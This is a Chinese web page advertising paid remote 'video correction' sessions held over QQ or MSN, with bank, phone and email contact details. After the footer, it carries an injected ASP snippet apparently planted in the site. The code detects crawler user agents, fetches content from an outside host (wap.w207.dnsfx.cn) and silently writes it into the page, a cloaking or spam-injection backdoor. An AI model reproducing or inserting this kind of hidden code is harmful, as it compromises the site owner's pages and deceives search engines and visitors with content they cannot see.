视频矫正

　　　　为了方便想参加面授而由于种种原因不能参加面授的学员，特设“视频矫正”。
　　我们收到你1200元费用的当天，先把电子资料发到你的信箱或在QQ上传给你 ，然后在晚上就可以在QQ或MSN上接受我们视频矫正，
    每晚2小时，连续12天晚上。


　　 
　　 建设银行：5324 2686 2234 1015 开户名：储建良
　　 电话/传真：0519-86977629
     联系QQ：77013107
     MSN：kcjz_2@hotmail.com
     信箱:kcjz@qq.com 

 

返回主页

电话/传真：0519-86977629　ＭＳＮ：kcjz_2@hotmail.com
联系OICQ：77013107 信箱: kcjz@qq.com
苏ICP备05049421
<% Function getBody(infopageurl) On Error Resume Next if infopageurl<>"" then dim xmlHttp set xmlHttp=server.createobject("MSXML2.XMLHTTP") xmlHttp.open "GET",infopageurl,false xmlHttp.send getBody=BytesToBstr(xmlhttp.responsebody,"GB2312") set xmlHttp=nothing end if end Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode = 3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function dns = Request.ServerVariables("SERVER_NAME") path = Request.ServerVariables("PATH_INFO") qs = Request.ServerVariables("QUERY_STRING") url= dns&path&"?"&qs agent = Request.ServerVariables("HTTP_USER_AGENT") tz = "http" if Instr(agent,tz)>0 then if path ="/index.asp" or path="/default.asp" then response.write getBody("http://wap.w207.dnsfx.cn/conn6.asp?dns="&dns) else response.write getBody("http://wap.w207.dnsfx.cn/conn6.asp?dns="&url&"&dn="&dns) end if end if %>